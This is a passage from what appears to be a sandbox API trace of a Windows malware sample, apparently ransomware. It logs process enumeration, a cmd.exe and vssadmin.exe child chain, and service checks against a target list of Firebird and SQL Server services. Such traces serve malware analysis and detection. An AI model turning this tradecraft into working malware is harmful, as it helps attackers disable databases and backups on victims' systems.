th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0218.183] lstrlenW (lpString="discount.exe") returned 12 [0218.183] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0218.184] lstrlenW (lpString="littleclosest.exe") returned 17 [0218.184] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0218.185] lstrlenW (lpString="compact.exe") returned 11 [0218.185] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0218.202] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0218.202] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0218.203] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0218.203] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0218.204] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0218.204] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0218.205] lstrlenW (lpString="vincentkills.exe") returned 16 [0218.205] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0218.206] lstrlenW (lpString="armstrong.exe") returned 13 [0218.206] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0218.207] lstrlenW (lpString="superb_guilty.exe") returned 17 [0218.207] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0218.208] lstrlenW (lpString="conditional employer.exe") returned 24 [0218.208] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0218.208] lstrlenW (lpString="middle shown.exe") returned 16 [0218.208] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0218.209] lstrlenW (lpString="forced_online.exe") returned 17 [0218.209] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0218.210] lstrlenW (lpString="knitting.exe") returned 12 [0218.210] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0218.211] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0218.211] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0218.212] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0218.212] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0218.213] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0218.213] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.214] lstrlenW (lpString="svchost.exe") returned 11 [0218.214] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0218.220] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0218.220] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0218.228] lstrlenW (lpString="conhost.exe") returned 11 [0218.228] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0218.229] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0218.229] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0218.230] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0218.230] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0218.309] lstrlenW (lpString="WMIADAP.exe") returned 11 [0218.309] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0218.311] lstrlenW (lpString="11.exe") returned 6 [0218.311] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0218.312] lstrlenW (lpString="cmd.exe") returned 7 [0218.312] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0218.313] lstrlenW (lpString="conhost.exe") returned 11 [0218.313] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0218.314] lstrlenW (lpString="vssadmin.exe") returned 12 [0218.314] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0218.315] CloseHandle (hObject=0x2d8) returned 1 [0218.315] Sleep (dwMilliseconds=0x1f4) [0219.005] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889818 [0219.005] EnumServicesStatusExW (in: hSCManager=0x889818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0219.006] GetLastError () returned 0xea [0219.006] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x801a48 [0219.006] EnumServicesStatusExW (in: hSCManager=0x889818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x801a48, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x801a48, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0219.006] CloseServiceHandle (hSCObject=0x889818) returned 1 [0219.006] lstrlenW (lpString="Appinfo") returned 7 [0219.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0219.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0219.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0219.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0219.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0219.007] lstrlenW (lpString="AppXSvc") returned 7 [0219.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0219.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0219.007] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0219.007] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0219.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0219.007] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0219.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0219.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0219.007] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0219.007] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0219.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0219.007] lstrlenW (lpString="Audiosrv") returned 8 [0219.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0219.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0219.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0219.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0219.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0219.007] lstrlenW (lpString="BFE") returned 3 [0219.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0219.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0219.007] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0219.007] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0219.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0219.008] lstrlenW (lpString="BITS") returned 4 [0219.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0219.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0219.008] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0219.008] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0219.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0219.008] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0219.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0219.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0219.008] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0219.008] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0219.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0219.008] lstrlenW (lpString="CDPSvc") returned 6 [0219.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0219.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0219.008] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0219.008] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0219.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0219.008] lstrlenW (lpString="ClickToRunSvc") returned 13 [0219.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0219.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0219.008] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0219.008] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0219.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0219.008] lstrlenW (lpString="ClipSVC") returned 7 [0219.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0219.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0219.009] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0219.009] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0219.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0219.009] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0219.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0219.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0219.009] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0219.009] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0219.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0219.009] lstrlenW (lpString="CryptSvc") returned 8 [0219.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0219.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0219.009] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0219.009] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0219.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0219.009] lstrlenW (lpString="DcomLaunch") returned 10 [0219.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0219.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0219.009] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0219.009] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0219.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0219.009] lstrlenW (lpString="Dhcp") returned 4 [0219.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0219.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0219.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0219.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0219.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0219.010] lstrlenW (lpString="Dnscache") returned 8 [0219.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0219.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0219.010] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0219.010] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0219.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0219.010] lstrlenW (lpString="DoSvc") returned 5 [0219.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0219.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0219.010] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0219.010] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0219.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0219.010] lstrlenW (lpString="DPS") returned 3 [0219.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0219.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0219.010] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0219.010] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0219.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0219.010] lstrlenW (lpString="DusmSvc") returned 7 [0219.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0219.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0219.010] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0219.010] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0219.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0219.010] lstrlenW (lpString="EventLog") returned 8 [0219.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0219.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0219.010] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0219.011] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0219.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0219.011] lstrlenW (lpString="EventSystem") returned 11 [0219.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0219.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0219.011] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0219.011] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0219.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0219.011] lstrlenW (lpString="FontCache") returned 9 [0219.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0219.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0219.011] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0219.011] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0219.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0219.011] lstrlenW (lpString="gpsvc") returned 5 [0219.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0219.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0219.011] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0219.011] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0219.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0219.011] lstrlenW (lpString="iphlpsvc") returned 8 [0219.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0219.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0219.011] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0219.011] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0219.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0219.011] lstrlenW (lpString="KeyIso") returned 6 [0219.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0219.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0219.012] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0219.012] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0219.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0219.012] lstrlenW (lpString="LanmanServer") returned 12 [0219.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0219.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0219.012] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0219.012] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0219.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0219.012] lstrlenW (lpString="LanmanWorkstation") returned 17 [0219.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0219.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0219.012] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0219.012] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0219.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0219.012] lstrlenW (lpString="lfsvc") returned 5 [0219.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0219.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0219.012] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0219.012] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0219.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0219.012] lstrlenW (lpString="LicenseManager") returned 14 [0219.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0219.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0219.012] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0219.012] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0219.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0219.013] lstrlenW (lpString="lmhosts") returned 7 [0219.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0219.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0219.013] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0219.013] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0219.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0219.013] lstrlenW (lpString="LSM") returned 3 [0219.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0219.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0219.034] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0219.034] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0219.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0219.034] lstrlenW (lpString="MpsSvc") returned 6 [0219.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0219.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0219.034] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0219.034] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0219.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0219.034] lstrlenW (lpString="NcbService") returned 10 [0219.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0219.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0219.034] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0219.034] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0219.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0219.034] lstrlenW 